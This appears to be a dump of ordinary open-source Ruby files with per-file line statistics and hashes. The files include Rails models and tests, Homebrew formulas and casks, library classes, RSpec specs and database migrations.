NodeRole.transaction do # Immediate children of an ACTIVE node go to TODO children.where(state: BLOCKED).each do |c| c.with_lock do c.reload Rails.logger.debug("NodeRole #{name}: testing to see if #{c.name} is runnable") next unless c.activatable? c.todo! end end end Run.run! end rescue Exception => e Rails.logger.fatal("Error #{e.inspect} in NodeRole run hooks!") Rails.logger.fatal("Backtrace:\n\t#{e.backtrace.join("\n\t")}") raise e end end def role_is_bindable # Check to see if there are any unresolved role_requires. # If there are, then this role cannot be bound. role = Role.find(role_id) unresolved = role.unresolved_requires unless unresolved.empty? errors.add(:role_id, "role #{role.name} is missing prerequisites: #{unresolved.map{|rr|rr.requires}}") end # Abstract roles cannot be bound. errors.add(:role_id,"role #{role.name} is abstract and cannot be bound to a node") if role.abstract # Roles can only be added to a node of their backing jig is active. unless role.active? # if we are testing, then we're going to just skip adding and keep going if Jig.active('test') Rails.logger.info("Role: Test mode allows us to coerce role #{name} to use the 'test' jig instead of #{role.jig_name} when it is not active") role.jig = Jig.find_by(name: 'test') role.save else errors.add(:role_id, "role '#{role.name}' cannot be bound without '#{role.jig_name}' being active!") end end # Now that we have validated the role side of things, validate the noderole side of things end def validate_conflicts role = Role.find(role_id) Node.find(node_id).node_roles.each do |nr| # Test to see if this role conflicts with us, or if we conflict with it. if role.conflicts.include?(nr.role.name) || nr.role.conflicts.include?(role.name) errors.add(:role, "#{role.name} cannot be bound because it conflicts with previously-bound role #{nr.role.name} on #{node.name}") end # Test to see if a previously-bound noderole provides this one. if nr.role.provides.include?(role.name) errors.add(:role, "#{role.name} cannot be bound because it is provided by previously-bound role #{nr.role.name} on #{node.name}") end # Test to see if we want to provide something that a previously-bound noderole provides. if role.provides.include?(nr.role.name) errors.add(:role, "#{role.name} cannot be bound because it tries to provide #{nr.role.name}, which is already bound on #{nr.node.name}") end # Test to see if there are overlapping provides overlapping = role.provides & nr.role.provides next if overlapping.empty? errors.add(:role, "#{role.name} cannot be bound because it and #{nr.role.name} both provide #{overlapping.inspect}") end end def maybe_rebind_attrib_links rebind_attrib_parents if deployment_id_changed? end end
35.285057
405
0.638967
1dfcba8da4ac1d13665315d16d375084733635a4
897
require "test_helper" class AirportTest < ActiveSupport::TestCase test "must have required elements" do airport = Airport.new assert_not airport.save, "Saved an airport without a lat, lon, city, or airport_name" end test "IATA code is proper format" do airport = Airport.new airport.iata = "ABCD" assert_not airport.valid?, "IATA code is too long" airport.iata = "AB" assert_not airport.valid?, "IATA code is too short" airport.iata = "a12" assert_not airport.valid?, "IATA code contains forbidden characters" end test "ICAO code is proper format" do airport = Airport.new airport.iata = "ABCDE" assert_not airport.valid?, "ICAO code is too long" airport.iata = "ABC" assert_not airport.valid?, "ICAO code is too short" airport.iata = "1234" assert_not airport.valid?, "ICAO code first character must be letter" end end
33.222222
89
0.701226
1db8547304ce577c312adf3e3c7d1cd28422aebb
96
# desc "Explaining what the task does" # task :activeadmin-cancan do # # Task goes here # end
19.2
38
0.697917
870ec614b76e25f158bbcf7db5e34ba355ed4846
1,302
# encoding: utf-8 #-- # Copyright 2013-2015 DataStax, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. #++ module Cassandra module Protocol class ReadTimeoutErrorResponse < ErrorResponse attr_reader :consistency, :received, :blockfor, :data_present def initialize(code, message, consistency, received, blockfor, data_present) super(code, message) @consistency = consistency @received = received @blockfor = blockfor @data_present = data_present end def to_error(statement = nil) Errors::ReadTimeoutError.new(@message, statement, @data_present, @consistency, @blockfor, @received) end def to_s "#{super} #{@consistency} #{@received} #{@blockfor} #{@data_present}" end end end end
30.27907
108
0.695853
f84add02b42e2a1e8e05fa971bb2ffca017e9658
2,280
# frozen_string_literal: true RSpec.describe 'locking' do include Dry::Effects.Lock include Dry::Effects::Handler.Lock it 'sets locks' do locked = with_lock do lock(:foo) unlock(lock(:bar)) [locked?(:foo), locked?(:bar), locked?(:baz)] end expect(locked).to eql([true, false, false]) end it 'releases locks on exit' do locked = with_lock do lock(:foo) bar = lock(:bar) with_lock do lock(:baz) if locked?(:foo) unlock(bar) end [locked?(:foo), locked?(:bar), locked?(:baz)] end expect(locked).to eql([true, false, false]) end example 'using blocks' do locked = with_lock do [lock(:foo) { locked?(:foo) }, locked?(:foo)] end expect(locked).to eql([true, false]) end example 'repeated locks' do locked = with_lock do lock(:foo) do |locked_outer| lock(:foo) do |locked_inner| [locked_outer, locked_inner, locked?(:foo)] end end end expect(locked).to eql([true, false, true]) end example 'nested handlers with repeated locks' do locked = [] with_lock do lock(:foo) do with_lock do lock(:foo) do locked << locked?(:foo) end end locked << locked?(:foo) end locked << locked?(:foo) end expect(locked).to eql([true, true, false]) end context 'injectable backend' do let(:backend) { double(:backend) } let(:handle) { double(:handle) } it 'sets and unsets locks' do expect(backend).to receive(:lock).with(:foo, Dry::Effects::Undefined).and_return(handle) expect(backend).to receive(:unlock).with(handle) with_lock(backend) { lock(:foo) } end end context 'meta' do it 'allows to add metadata about locks and retrieve it thereafter' do with_lock do lock(:foo, meta: 'Foo lock acquired') expect(lock_meta(:foo)).to eql('Foo lock acquired') end end it 'returns nil when no meta given' do with_lock do lock(:foo) expect(lock_meta(:foo)).to be_nil end end it 'returns nil when no lock exists' do with_lock do expect(lock_meta(:foo)).to be_nil end end end end
20.540541
94
0.584649
910e1a591c1b126c2b46fbfa658849f95237a912
6,486
# frozen_string_literal: true # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. module Avro module SchemaCompatibility INT_COERCIBLE_TYPES_SYM = [:long, :float, :double].freeze LONG_COERCIBLE_TYPES_SYM = [:float, :double].freeze # Perform a full, recursive check that a datum written using the writers_schema # can be read using the readers_schema. def self.can_read?(writers_schema, readers_schema) Checker.new.can_read?(writers_schema, readers_schema) end # Perform a full, recursive check that a datum written using either the # writers_schema or the readers_schema can be read using the other schema. def self.mutual_read?(writers_schema, readers_schema) Checker.new.mutual_read?(writers_schema, readers_schema) end # Perform a basic check that a datum written with the writers_schema could # be read using the readers_schema. This check includes matching the types, # including schema promotion, and matching the full name (including aliases) for named types. def self.match_schemas(writers_schema, readers_schema) # Bypass deeper checks if the schemas are the same Ruby objects return true if writers_schema.equal?(readers_schema) w_type = writers_schema.type_sym r_type = readers_schema.type_sym # This conditional is begging for some OO love. if w_type == :union || r_type == :union return true end if w_type == r_type return readers_schema.match_schema?(writers_schema) if Schema::PRIMITIVE_TYPES_SYM.include?(r_type) case r_type when :request return true when :map return match_schemas(writers_schema.values, readers_schema.values) when :array return match_schemas(writers_schema.items, readers_schema.items) else return readers_schema.match_schema?(writers_schema) end end # Handle schema promotion if w_type == :int && INT_COERCIBLE_TYPES_SYM.include?(r_type) return true elsif w_type == :long && LONG_COERCIBLE_TYPES_SYM.include?(r_type) return true elsif w_type == :float && r_type == :double return true elsif w_type == :string && r_type == :bytes return true elsif w_type == :bytes && r_type == :string return true end if readers_schema.respond_to?(:match_schema?) readers_schema.match_schema?(writers_schema) else false end end class Checker SIMPLE_CHECKS = Schema::PRIMITIVE_TYPES_SYM.dup.add(:fixed).freeze attr_reader :recursion_set private :recursion_set def initialize @recursion_set = Set.new end def can_read?(writers_schema, readers_schema) full_match_schemas(writers_schema, readers_schema) end def mutual_read?(writers_schema, readers_schema) can_read?(writers_schema, readers_schema) && can_read?(readers_schema, writers_schema) end private def full_match_schemas(writers_schema, readers_schema) return true if recursion_in_progress?(writers_schema, readers_schema) return false unless Avro::SchemaCompatibility.match_schemas(writers_schema, readers_schema) if writers_schema.type_sym != :union && SIMPLE_CHECKS.include?(readers_schema.type_sym) return true end case readers_schema.type_sym when :record match_record_schemas(writers_schema, readers_schema) when :map full_match_schemas(writers_schema.values, readers_schema.values) when :array full_match_schemas(writers_schema.items, readers_schema.items) when :union match_union_schemas(writers_schema, readers_schema) when :enum # reader's symbols must contain all writer's symbols or reader has default (writers_schema.symbols - readers_schema.symbols).empty? || !readers_schema.default.nil? else if writers_schema.type_sym == :union && writers_schema.schemas.size == 1 full_match_schemas(writers_schema.schemas.first, readers_schema) else false end end end def match_union_schemas(writers_schema, readers_schema) raise 'readers_schema must be a union' unless readers_schema.type_sym == :union case writers_schema.type_sym when :union writers_schema.schemas.all? { |writer_type| full_match_schemas(writer_type, readers_schema) } else readers_schema.schemas.any? { |reader_type| full_match_schemas(writers_schema, reader_type) } end end def match_record_schemas(writers_schema, readers_schema) return false if writers_schema.type_sym == :union writer_fields_hash = writers_schema.fields_hash readers_schema.fields.each do |field| if writer_fields_hash.key?(field.name) return false unless full_match_schemas(writer_fields_hash[field.name].type, field.type) else names = writer_fields_hash.keys & field.alias_names if names.size > 1 return false elsif names.size == 1 return false unless full_match_schemas(writer_fields_hash[names.first].type, field.type) else return false unless field.default? end end end return true end def recursion_in_progress?(writers_schema, readers_schema) key = [writers_schema.object_id, readers_schema.object_id] if recursion_set.include?(key) true else recursion_set.add(key) false end end end end end
36.033333
107
0.686093
7a4c5becb2710bd95db5aac8f12025d195368e97
1,403
require "spec_helper" RSpec.describe LearnToRank::DataPipeline::RelevancyJudgements do subject(:judgements) do described_class.new(queries: queries).relevancy_judgements.force end let(:queries) do { "micropig" => [ { link: "1", rank: 1, views: 100, clicks: 20 }, { link: "2", rank: 2, views: 100, clicks: 15 }, ], "vehicle tax" => [ { link: "3", rank: 1, views: 100, clicks: 15 }, { link: "4", rank: 3, views: 100, clicks: 10 }, { link: "5", rank: 4, views: 100, clicks: 20 }, { link: "1", rank: 5, views: 100, clicks: 5 }, { link: "2", rank: 6, views: 100, clicks: 2 }, ], } end describe "#relevancy_judgements" do context "no queries are provided" do let(:queries) { {} } it "returns an empty array" do expect(judgements).to eq([]) end end it "returns an array of relevancy judgements, with scores between 0 and 3" do expect(judgements).to eq([ { link: "1", query: "micropig", score: 3 }, { link: "2", query: "micropig", score: 2 }, { link: "3", query: "vehicle tax", score: 2 }, { link: "4", query: "vehicle tax", score: 2 }, { link: "5", query: "vehicle tax", score: 3 }, { link: "1", query: "vehicle tax", score: 1 }, { link: "2", query: "vehicle tax", score: 1 }, ]) end end end
31.177778
81
0.536707
08e79b51f31643ad390a43e8da6c45f8a4232b55
796
class Libiptcdata < Formula desc "Virtual package provided by libiptcdata0" homepage "https://libiptcdata.sourceforge.io/" url "https://downloads.sourceforge.net/project/libiptcdata/libiptcdata/1.0.4/libiptcdata-1.0.4.tar.gz" sha256 "79f63b8ce71ee45cefd34efbb66e39a22101443f4060809b8fc29c5eebdcee0e" revision 1 bottle do sha256 "78dc7bb6b1e5bcccc1c0c9ef158b8d423f782aa455b1b10c3eebb29de6e7fa58" => :mojave sha256 "62f4a032075fbf0b9a43ef474b784bae7c47d503483bdc2e09e851c5568345e3" => :high_sierra sha256 "0a9cd6e750e496cd4eb9797ac34d3659c8dc2bb6977020def1edb2ee60711a39" => :sierra end depends_on "gettext" def install system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make", "install" end end
36.181818
104
0.762563
e2cf5ca016b810b860aaf5066aa4a15fd427def8
2,541
cask 'wine-devel' do version '4.2' sha256 '67f0c34bdd2881d39798af37475e34555e64722ffe4417bcdb155d97c28cdb55' url "https://dl.winehq.org/wine-builds/macosx/pool/winehq-devel-#{version}.pkg" appcast 'https://dl.winehq.org/wine-builds/macosx/download.html' name 'WineHQ-devel' homepage 'https://wiki.winehq.org/MacOS' conflicts_with formula: 'wine', cask: [ 'wine-stable', 'wine-staging', ] depends_on x11: true pkg "winehq-devel-#{version}.pkg", choices: [ { 'choiceIdentifier' => 'choice3', 'choiceAttribute' => 'selected', 'attributeSetting' => 1, }, ] binary "#{appdir}/Wine Devel.app/Contents/Resources/start/bin/appdb" binary "#{appdir}/Wine Devel.app/Contents/Resources/start/bin/winehelp" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/msiexec" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/notepad" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/regedit" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/regsvr32" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/wine" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/wine64" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/wineboot" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/winecfg" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/wineconsole" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/winedbg" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/winefile" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/winemine" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/winepath" binary "#{appdir}/Wine Devel.app/Contents/Resources/wine/bin/wineserver" uninstall pkgutil: [ 'org.winehq.wine-devel', 'org.winehq.wine-devel-deps', 'org.winehq.wine-devel-deps64', 'org.winehq.wine-devel32', 'org.winehq.wine-devel64', ], delete: '/Applications/Wine Devel.app' caveats <<~EOS #{token} installs support for running 64 bit applications in Wine, which is considered experimental. If you do not want 64 bit support, you should download and install the #{token} package manually. EOS end
45.375
104
0.639512
26b0d55f74ab8e3980583e972083e8542ad28ee8
1,083
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Storage module Models # # Model object. # # class StorageAccountRegenerateKeyParameters include MsRestAzure include MsRest::JSONable # @return [String] attr_accessor :key_name # # Mapper for StorageAccountRegenerateKeyParameters class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { required: false, serialized_name: 'StorageAccountRegenerateKeyParameters', type: { name: 'Composite', class_name: 'StorageAccountRegenerateKeyParameters', model_properties: { key_name: { required: true, serialized_name: 'keyName', type: { name: 'String' } } } } } end end end end
23.042553
76
0.56048
4a235bc7cfb129810daa0fb23f2026ba97b27a51
1,256
module Webspicy class Tester class Fakesmtp class Email def initialize(data) @data = data end attr_reader :data def from @from ||= data["headerLines"] .select{|h| h["key"] == "from" } .map{|h| h["line"][/From:\s*(.*)$/, 1] } .first end def to @to ||= data["to"]["value"] .map{|h| h["address"] } end def cc @cc ||= data["cc"]["value"] .map{|h| h["address"] } end def reply_to @reply_to ||= data["headerLines"] .select{|h| h["key"] == "reply-to" } .map{|h| h["line"][/Reply-To:\s*(.*)$/, 1] } end def subject @subject ||= data["headerLines"] .select{|h| h["key"] == "subject" } .map{|h| h["line"][/Subject:\s*(.*)$/, 1] } .first end def headers @headers ||= data["headerLines"] .reduce(OpenStruct.new){|acc, h| acc[h["key"].downcase] = h["line"].split(': ')[1..].join(': ') acc } end end # class Email end # class Fakesmtp end # class Tester end # module Webspicy
23.698113
76
0.414809
79f87326dc342bd135fc93a30a692360422e8558
2,747
require "twitter" module Agents class TwitterUserAgent < Agent include TwitterConcern cannot_receive_events! description <<-MD The TwitterUserAgent follows the timeline of a specified Twitter user. Twitter credentials must be supplied as either [credentials](/user_credentials) called `twitter_consumer_key`, `twitter_consumer_secret`, `twitter_oauth_token`, and `twitter_oauth_token_secret`, or as options to this Agent called `consumer_key`, `consumer_secret`, `oauth_token`, and `oauth_token_secret`. To get oAuth credentials for Twitter, [follow these instructions](https://github.com/cantino/huginn/wiki/Getting-a-twitter-oauth-token). You must also provide the `username` of the Twitter user to monitor. Set `expected_update_period_in_days` to the maximum amount of time that you'd expect to pass between Events being created by this Agent. MD event_description <<-MD Events are the raw JSON provided by the Twitter API. Should look something like: { ... every Tweet field, including ... "text": "something", "user": { "name": "Mr. Someone", "screen_name": "Someone", "location": "Vancouver BC Canada", "description": "...", "followers_count": 486, "friends_count": 1983, "created_at": "Mon Aug 29 23:38:14 +0000 2011", "time_zone": "Pacific Time (US & Canada)", "statuses_count": 3807, "lang": "en" }, "retweet_count": 0, "entities": ... "lang": "en" } MD default_schedule "every_1h" def validate_options unless options['username'].present? && options['expected_update_period_in_days'].present? errors.add(:base, "username and expected_update_period_in_days are required") end end def working? event_created_within?(options['expected_update_period_in_days']) && !recent_error_logs? end def default_options { 'username' => "tectonic", 'expected_update_period_in_days' => "2" } end def check since_id = memory['since_id'] || nil opts = {:count => 200, :include_rts => true, :exclude_replies => false, :include_entities => true, :contributor_details => true} opts.merge! :since_id => since_id unless since_id.nil? tweets = twitter.user_timeline(options['username'], opts) tweets.each do |tweet| memory['since_id'] = tweet.id if !memory['since_id'] || (tweet.id > memory['since_id']) create_event :payload => tweet.attrs end save! end end end
33.096386
142
0.622133
111ae6e3e28548a2924f05aaca785db8345cde0e
84
class Goal < ActiveRecord::Base #:nodoc: self.inheritance_column = "sti_id" end
14
40
0.72619
1dfa4db7372b4e12761d72f3758040019c183956
3,021
# frozen_string_literal: true # Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Auto-generated by gapic-generator-ruby. DO NOT EDIT! module Google module Cloud module AIPlatform module V1beta1 # An edge describing the relationship between an Artifact and an Execution in # a lineage graph. # @!attribute [rw] artifact # @return [::String] # Required. The relative resource name of the Artifact in the Event. # @!attribute [r] execution # @return [::String] # Output only. The relative resource name of the Execution in the Event. # @!attribute [r] event_time # @return [::Google::Protobuf::Timestamp] # Output only. Time the Event occurred. # @!attribute [rw] type # @return [::Google::Cloud::AIPlatform::V1beta1::Event::Type] # Required. The type of the Event. # @!attribute [rw] labels # @return [::Google::Protobuf::Map{::String => ::String}] # The labels with user-defined metadata to annotate Events. # # Label keys and values can be no longer than 64 characters # (Unicode codepoints), can only contain lowercase letters, numeric # characters, underscores and dashes. International characters are allowed. # No more than 64 user labels can be associated with one Event (System # labels are excluded). # # See https://goo.gl/xmQnxf for more information and examples of labels. # System reserved label keys are prefixed with "aiplatform.googleapis.com/" # and are immutable. class Event include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods # @!attribute [rw] key # @return [::String] # @!attribute [rw] value # @return [::String] class LabelsEntry include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # Describes whether an Event's Artifact is the Execution's input or output. module Type # Unspecified whether input or output of the Execution. TYPE_UNSPECIFIED = 0 # An input of the Execution. INPUT = 1 # An output of the Execution. OUTPUT = 2 end end end end end end
37.7625
87
0.621317
1de0c23c0d26b646d2bd2720fd3f5a06b3446183
409
# frozen_string_literal: true require 'test_helper' class ModeratorTest < ActiveSupport::TestCase def test_email_presence_validation assert_validates_presence_of Moderator, :email end def test_email_uniqueness_validation assert_validates_uniqueness_of Moderator, :email end def test_email_format_validation assert_validates_format_of Moderator, :email, 'testemailtest.com' end end
22.722222
69
0.819071
086faecc2b2b597c5716ef0470587bc2754c89f4
850
# encoding: utf-8 require 'test_helper' module Nls module EndpointInterpret class TestSpeed < NlsTestCommon def setup super Nls.remove_all_packages Interpretation.default_locale = "fr" Nls.package_update(create_package()) end def create_package() package = Package.new("speed_package") speed = package.new_interpretation("speed") speed << Expression.new("je sais compter jusqu'à @{count}", aliases: { count: Alias.number }, solution: "`{count: count}`") package end # Tests def test_count_until_10000 10000.times do |i| expected = { count: i } check_interpret("je sais compter jusqu'à #{i}", interpretation: "speed", solution: expected) end end end end end
18.085106
131
0.594118
d594fffc14f694d34029b6084fa3addea2c0d324
2,123
# # Author:: Adam Jacob (<[email protected]>) # Copyright:: Copyright (c) Chef Software Inc. # License:: Apache License, Version 2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # require "spec_helper" describe Chef::Knife::NodeList do before(:each) do Chef::Config[:node_name] = "webmonkey.example.com" Chef::Config[:environment] = nil # reset this value each time, as it is not reloaded @knife = Chef::Knife::NodeList.new allow(@knife).to receive(:output).and_return(true) @list = { "foo" => "http://example.com/foo", "bar" => "http://example.com/foo", } allow(Chef::Node).to receive(:list).and_return(@list) allow(Chef::Node).to receive(:list_by_environment).and_return(@list) end describe "run" do it "should list all of the nodes if -E is not specified" do expect(Chef::Node).to receive(:list).and_return(@list) @knife.run end it "should pretty print the list" do expect(Chef::Node).to receive(:list).and_return(@list) expect(@knife).to receive(:output).with(%w{bar foo}) @knife.run end it "should list nodes in the specific environment if -E ENVIRONMENT is specified" do Chef::Config[:environment] = "prod" expect(Chef::Node).to receive(:list_by_environment).with("prod").and_return(@list) @knife.run end describe "with -w or --with-uri" do it "should pretty print the hash" do @knife.config[:with_uri] = true expect(Chef::Node).to receive(:list).and_return(@list) expect(@knife).to receive(:output).with(@list) @knife.run end end end end
33.698413
88
0.674517
62df2faee5ab46bde618df6e701f5f5a92255a5c
843
module RSpec module Http class ResponseCodeMatcher def initialize(expected_code) @expected_code = expected_code end def matches?(target) @target = target @target.status == @expected_code end def description "Response code should be #{@expected_code}" end def failure_message "Expected #{@target} to #{common_message}" end def failure_message_when_negated "Expected #{@target} to not #{common_message}" end def common_message message = "have a response code of #{@expected_code}, but got #{@target.status}" if @target.status == 302 || @target.status == 201 message += " with a location of #{@target['Location'] || @target['location']}" end message end end end end
24.085714
89
0.595492
b90ff36abd622c7c711600f93fb59bb7a9ca153c
101
json.array!(@moves) do |move| json.extract! move, :id json.url move_url(move, format: :json) end
20.2
40
0.683168
1cecc7df73713472d707c0041508f1a5eb84ec9d
961
# frozen_string_literal: true require 'omniauth/fishbrain/jwks' require 'jwt' module OmniAuth module Fishbrain module VerifiesIdToken def id_token @_id_token ||= if raw_id_token&.strip&.empty? {} else JWT.decode(raw_id_token, nil, true, decode_options).first end end def decode_options { iss: iss, aud: options[:client_id], verify_aud: true, verify_expiration: true, verify_iat: true, verify_iss: true, verify_not_before: true, leeway: options[:jwt_leeway], algorithm: 'RS256', jwks: jwks, } end def iss "https://cognito-idp.#{options[:aws_region]}.amazonaws.com/#{options[:user_pool_id]}" end def jwks get_json("#{iss}/.well-known/jwks.json") end end end end
22.880952
93
0.527575
6aa25a5b047dcb08dca9d3d2ce4dfecfc8c42c30
209
class AddCustomerBillableField < ActiveRecord::Migration def self.up add_column :customers, :billable, :boolean, :default => true end def self.down remove_column :customers, :billable end end
20.9
64
0.736842
e9bee0f991e78aa1355e44fd700ddb05b54dfb96
1,329
class Tfsec < Formula desc "Static analysis powered security scanner for your terraform code" homepage "https://github.com/tfsec/tfsec" url "https://github.com/tfsec/tfsec/archive/v0.37.1.tar.gz" sha256 "b05a70b267f055619c5950ed8d6c49310b5851b352739ef651bc34c3468d1c2d" license "MIT" livecheck do url :stable strategy :github_latest end bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "08dcc753a822be95c875e8ff72b97b19da983107cc6d452bd7f421702ee46740" sha256 cellar: :any_skip_relocation, big_sur: "d92c146999c766e93446e6ac6547deab4620d0a3e06b7da798e38abd1df9ee18" sha256 cellar: :any_skip_relocation, catalina: "58b35ac931d88b4d1ae04424ecbf1377ff414d5b03580a4e370e32d9bfe37241" sha256 cellar: :any_skip_relocation, mojave: "c752c13c831aee61e8f224cb4d275d63b386fe34f479b9ba0cf234fff72d3649" end depends_on "go" => :build resource "testfile" do url "https://raw.githubusercontent.com/tfsec/tfsec/2d9b76a/example/brew-validate.tf" sha256 "3ef5c46e81e9f0b42578fd8ddce959145cd043f87fd621a12140e99681f1128a" end def install system "scripts/install.sh", "v#{version}" bin.install "tfsec" end test do resource("testfile").stage do assert_match "No problems detected!", shell_output("#{bin}/tfsec .") end end end
34.973684
122
0.771257
87ea34f3a474a7d0c99192ecc68ce826e6ee83d9
621
module ConnectionDefinitions def prepare_for_database_connection ENV['ENVIRONMENT'] = 'test' ENV['PROTOCOL'] = 'mongodb' ENV['HOST'] = '127.0.0.1' ENV['PORT'] = '27017' @temp_db_dir = "#{Dir.pwd}/db" FileUtils.mkdir(@temp_db_dir) FileUtils.cp( File.join(Dir.pwd, 'spec/support/dummy_db_properties.yml'), File.join(@temp_db_dir, 'properties.yml') ) end def clear_database_connection_settings FileUtils.rm_rf(@temp_db_dir) ENV['ENVIRONMENT'] = nil ENV['PROTOCOL'] = nil ENV['HOST'] = nil ENV['PORT'] = nil end end
24.84
65
0.608696
4a0b200ff27561b6dac2cd3107bff4a7fef13cde
667
require 'opal' require 'opal-parser' # require 'opal-jquery' DEFAULT_TRY_CODE = <<-RUBY class User attr_accessor :name def initialize(name) @name = name end def admin? @name == 'Admin' end end user = User.new('Bob') puts user puts user.admin? RUBY puts DEFAULT_TRY_CODE class TryOpal class Editor def initialize(dom_id, options) @native = `CodeMirror(document.getElementById(dom_id), #{options.to_n})` end end end Document.ready? do compiled = Opal.compile 'puts "hello depuis opal"' `eval(compiled)` puts "ready !!! !! !!!!!! " end # Opal.compile "puts Hello" puts "hello comment ca va bien ou bien bien bien "
15.159091
78
0.673163
014b00b65cdda01d8c0b180eac35a515551ed54b
131
class AddNameToVisualizations < ActiveRecord::Migration[5.1] def change add_column :visualizations, :name, :string end end
21.833333
60
0.763359
5d9ee9643a59a80d39001f551a35bdb1f54cfb6b
626
class CreateJobListingsAndJobApplications < ActiveRecord::Migration def change create_table :job_listings do |t| t.string :title t.string :description t.integer :client_id t.integer :min_hours_per_week t.integer :max_hours_per_week t.string :duration t.string :visibility t.integer :suggested_fixed_rate t.integer :suggested_hourly_rate t.string :suggested_rate_type t.timestamps end create_table :job_applications do |t| t.integer :programmer_id t.integer :bid_rate t.string :bid_rate_type t.timestamps end end end
26.083333
67
0.691693
bb7085811a5ca7d084f3dad2138f538acfdf0b67
839
=begin #Tatum API ## Authentication <!-- ReDoc-Inject: <security-definitions> --> OpenAPI spec version: 3.9.0 Generated by: https://github.com/swagger-api/swagger-codegen.git Swagger Codegen version: 3.0.31 =end require 'spec_helper' require 'json' require 'date' # Unit tests for Tatum::OneOfinlineResponse4035 # Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen) # Please update as you see appropriate describe 'OneOfinlineResponse4035' do before do # run before each test @instance = Tatum::OneOfinlineResponse4035.new end after do # run after each test end describe 'test an instance of OneOfinlineResponse4035' do it 'should create an instance of OneOfinlineResponse4035' do expect(@instance).to be_instance_of(Tatum::OneOfinlineResponse4035) end end end
23.971429
85
0.75447
bbe8672ad37a3cdc006d969d8e16c303cb98d925
2,122
require 'rubygems' require 'rake' # Note that Haml's gem-compilation process requires access to the filesystem. # This means that it cannot be automatically run by e.g. GitHub's gem system. # However, a build server automatically packages the master branch # every time it's pushed to; this is made available as the haml-edge gem. HAML_GEMSPEC = Gem::Specification.new do |spec| spec.rubyforge_project = 'haml' spec.name = File.exist?(File.dirname(__FILE__) + '/EDGE_GEM_VERSION') ? 'haml-edge' : 'haml' spec.summary = "An elegant, structured XHTML/XML templating engine.\nComes with Sass, a similar CSS templating engine." spec.version = File.read(File.dirname(__FILE__) + '/VERSION').strip spec.authors = ['Nathan Weizenbaum', 'Chris Eppstein', 'Hampton Catlin'] spec.email = '[email protected]' spec.description = <<-END Haml (HTML Abstraction Markup Language) is a layer on top of XHTML or XML that's designed to express the structure of XHTML or XML documents in a non-repetitive, elegant, easy way, using indentation rather than closing tags and allowing Ruby to be embedded with ease. It was originally envisioned as a plugin for Ruby on Rails, but it can function as a stand-alone templating engine. END spec.add_development_dependency 'yard', '>= 0.5.3' spec.add_development_dependency 'maruku', '>= 0.5.9' readmes = FileList.new('*') do |list| list.exclude(/(^|[^.a-z])[a-z]+/) list.exclude('TODO') list.include('REVISION') if File.exist?('REVISION') end.to_a spec.executables = ['haml', 'html2haml', 'sass', 'css2sass', 'sass-convert'] spec.files = FileList['rails/init.rb', 'lib/**/*', 'vendor/**/*', 'bin/*', 'test/**/*', 'extra/**/*', 'Rakefile', 'init.rb', '.yardopts'].to_a + readmes spec.homepage = 'http://haml-lang.com/' spec.has_rdoc = true spec.extra_rdoc_files = readmes spec.rdoc_options += [ '--title', 'Haml', '--main', 'README.rdoc', '--exclude', 'lib/haml/buffer.rb', '--line-numbers', '--inline-source' ] spec.test_files = FileList['test/**/*_test.rb'].to_a end
43.306122
121
0.679076
1a037e06679445ee213c0adfc77a3499b581d844
58
require "kraken_ruby/version" require "kraken_ruby/client"
29
29
0.844828
abada2a17a19ae3c0521a70c3cbe8fe422bd7307
784
